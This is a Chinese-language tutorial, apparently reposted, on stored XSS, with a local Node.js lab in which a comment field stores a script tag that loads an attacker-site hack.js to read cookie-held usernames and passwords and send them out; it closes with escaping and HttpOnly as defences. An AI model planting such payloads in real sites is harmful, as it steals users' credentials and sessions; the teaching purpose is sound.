Stored XSS攻擊


XSS(Cross Site Scripting)

即跨域腳本攻擊,向被攻擊網站注入惡意腳本,惡意腳本獲取到數據發送到另外一個域的網站上。

 

Stored XSS攻擊

即存儲式XSS攻擊。

把惡意腳本存儲到被攻擊者的網站的數據庫。

其他人訪問數據庫中的惡意腳本代碼后,瀏覽器執行惡意腳本,被攻擊。

存儲式攻擊不止一次攻擊,並且被攻擊的人不止一個,影響范圍大。

 

Stored XSS攻擊實例

思路

1.通過nodeJS在后端開啟兩個不同端口的服務,即兩個不同域的站點。

2.被攻擊者網站

 a:在登錄時,把用戶的用戶名、密碼信息存入cookie中

 b.有一個評論功能,用戶在文本框內輸入評論信息,然后提交到服務器。

3.攻擊者在評論處輸入<script src='hack.js'></script>,點擊提交后這段腳本存入到數據庫

 hack.js文件是攻擊者網站的js腳本文件,用來獲取用戶的cookie中的用戶名、密碼信息,並且把用戶名、密碼發送到攻擊者指定的網站。

4.當網站的用戶訪問帶有評論<script src='hack.js'></script>信息時,會下載hack.js文件,並且執行,網站被攻擊。

注意:若返回的是包含<script src='hack.js'></script>內容的靜態html文件,此段代碼會執行。

         若使用ajax獲取評論信息,然后通過innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代碼不執行。innerHTML會把<script src='hack.js'>

         </script> 當作字符串來處理,攻擊失效。

 

實驗

文件結構

server.js為服務端,創建了兩個http服務,端口分別為3000, 3100。

hackedsite為被攻擊的站點,運行在3000端口中。

a.index.html為登錄頁。

b.為評論信息頁。

c.為獲取評論信息頁。

hacksite為攻擊的站點,運行在3100端口中。

a.hack.js為嵌入在被攻擊網站的惡意腳本

b.remote.js用於協助hack.js把獲取到的數據發送到hacksite站點。

 

過程

1.使用nodeJS搭建本地服務器,啟動兩個不同端口的服務,端口分別為3000,3100。

server1.listen(3000);

server2.listen(3100);

 

2.訪問urlhttp://localhost:3000/hackedsite/index.html進入登錄頁面,並且輸入用戶名、密碼

點擊登錄按鈕后,把用戶名、密碼存儲到cookie中,並且跳轉到評論頁面。

 

3.進入評論頁面,在評論中輸入<script src="http://localhost:3100/hacksite/hack.js"></script>

點擊提交后,評論信息存儲到數據庫,並且重定向到顯示評論信息頁面。

 

4.顯示評論信息頁面

第三條內容為<script src="http://localhost:3100/hacksite/hack.js"></script>,被瀏覽器解析執行。

html為:

上面的html片段返回為靜態的瀏覽器解析script標簽,若通過ajax獲取評論數據,通過innerHTML添加的,則script標簽不解析執行,當作字符串來處理。

hack.js文件獲取被攻擊網站的cookie中存儲的數據,並且發送到指定的站點。

 

hack.js是如何工作的

1.首先獲取被攻擊站點的cookie中的用戶名、密碼

2.借助<script>標簽把獲取到的用戶名、密碼信息發送到攻擊者站點,這樣,就能竊取到被攻擊者的登錄信息了。

sessionId

http是一種無狀態的協議,為了記錄一個會話周期,通過sessionId來記錄會話過程。sessionId通過cookie傳遞到服務端,也可通過XSS攻擊獲取sessionId,從而使攻擊者獲得登陸網站的權限。

 

防御

(1)轉義

(2)HttpOnly

如果在cookie中設置了HttpOnly屬性,那么通過程序(JS腳本、Applet等)將無法讀取到cookie信息,這樣能有效防止XSS攻擊。cookie通常在http頭中傳輸。

cookie為字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly

 

代碼地址

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM